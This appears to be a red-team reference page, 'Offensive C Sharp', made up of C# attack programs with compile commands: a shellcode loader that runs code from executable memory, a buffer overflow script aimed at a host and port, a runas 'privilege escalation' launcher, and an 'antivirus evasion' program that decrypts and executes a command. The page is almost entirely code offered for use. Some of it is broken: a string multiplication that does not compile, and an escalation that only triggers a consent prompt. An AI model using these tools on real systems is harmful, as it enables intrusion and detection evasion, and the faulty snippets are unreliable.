Offensive C Sharp (C#)
Last updated
using System;
using System.Runtime.InteropServices;
namespace OffensiveCSharp
{
class ShellcodeLoader
{
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] shellcode = new byte[] {
// Add your shellcode here
};
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\ShellcodeLoader.exe D:\RTG\ShellcodeLoader.csusing System;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace OffensiveCSharp
{
class BufferOverflowExploit
{
static void Main(string[] args)
{
string target = "192.168.1.100";
int port = 8080;
string payload = new string('A', 260) + "B" * 4 + "\x90\x90\x90\x90"; // Example buffer overflow payload
try
{
TcpClient client = new TcpClient(target, port);
NetworkStream stream = client.GetStream();
byte[] data = Encoding.ASCII.GetBytes(payload);
stream.Write(data, 0, data.Length);
byte[] responseData = new byte[256];
int bytes = stream.Read(responseData, 0, responseData.Length);
Console.WriteLine("Received: {0}", Encoding.ASCII.GetString(responseData, 0, bytes));
stream.Close();
client.Close();
}
catch (Exception e)
{
Console.WriteLine("Exception: {0}", e);
}
}
}
}C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\BufferOverflowExploit.exe D:\RTG\BufferOverflowExploit.csusing System;
using System.Diagnostics;
namespace OffensiveCSharp
{
class PrivilegeEscalation
{
static void Main(string[] args)
{
try
{
ProcessStartInfo procInfo = new ProcessStartInfo();
procInfo.UseShellExecute = true;
procInfo.WorkingDirectory = Environment.CurrentDirectory;
procInfo.FileName = "cmd.exe";
procInfo.Verb = "runas"; // Run as administrator
Process proc = Process.Start(procInfo);
proc.WaitForExit();
}
catch (Exception e)
{
Console.WriteLine("Exception: {0}", e);
}
}
}
}C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\PrivilegeEscalation.exe D:\priv.cs using System;
using System.Text;
using System.Security.Cryptography;
namespace OffensiveCSharp
{
class AntivirusEvasion
{
static void Main(string[] args)
{
string command = "calc.exe"; // Command to execute
string key = "thisisaverysecret"; // Ensure the key length is 16 bytes
string salt = "somesaltvalue"; // Ensure the salt length is at least 8 bytes
string encryptedCommand = Encrypt(command, key, salt);
Console.WriteLine("Encrypted Command: " + encryptedCommand);
string decryptedCommand = Decrypt(encryptedCommand, key, salt);
Console.WriteLine("Decrypted Command: " + decryptedCommand);
System.Diagnostics.Process.Start(decryptedCommand);
}
public static string Encrypt(string text, string key, string salt)
{
byte[] textBytes = Encoding.UTF8.GetBytes(text);
byte[] keyBytes = new Rfc2898DeriveBytes(key, Encoding.UTF8.GetBytes(salt), 1000).GetBytes(16);
byte[] encryptedBytes;
using (Aes aes = Aes.Create())
{
aes.Key = keyBytes;
aes.GenerateIV();
aes.Mode = CipherMode.CBC;
using (ICryptoTransform encryptor = aes.CreateEncryptor())
{
encryptedBytes = encryptor.TransformFinalBlock(textBytes, 0, textBytes.Length);
}
byte[] result = new byte[aes.IV.Length + encryptedBytes.Length];
Array.Copy(aes.IV, 0, result, 0, aes.IV.Length);
Array.Copy(encryptedBytes, 0, result, aes.IV.Length, encryptedBytes.Length);
return Convert.ToBase64String(result);
}
}
public static string Decrypt(string encryptedText, string key, string salt)
{
byte[] encryptedBytes = Convert.FromBase64String(encryptedText);
byte[] keyBytes = new Rfc2898DeriveBytes(key, Encoding.UTF8.GetBytes(salt), 1000).GetBytes(16);
byte[] iv = new byte[16];
byte[] textBytes = new byte[encryptedBytes.Length - 16];
Array.Copy(encryptedBytes, 0, iv, 0, iv.Length);
Array.Copy(encryptedBytes, iv.Length, textBytes, 0, textBytes.Length);
using (Aes aes = Aes.Create())
{
aes.Key = keyBytes;
aes.IV = iv;
aes.Mode = CipherMode.CBC;
using (ICryptoTransform decryptor = aes.CreateDecryptor())
{
byte[] result = decryptor.TransformFinalBlock(textBytes, 0, textBytes.Length);
return Encoding.UTF8.GetString(result);
}
}
}
}
} C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\AntivirusEvasion.exe D:\RTG\AntivirusEvasion.cs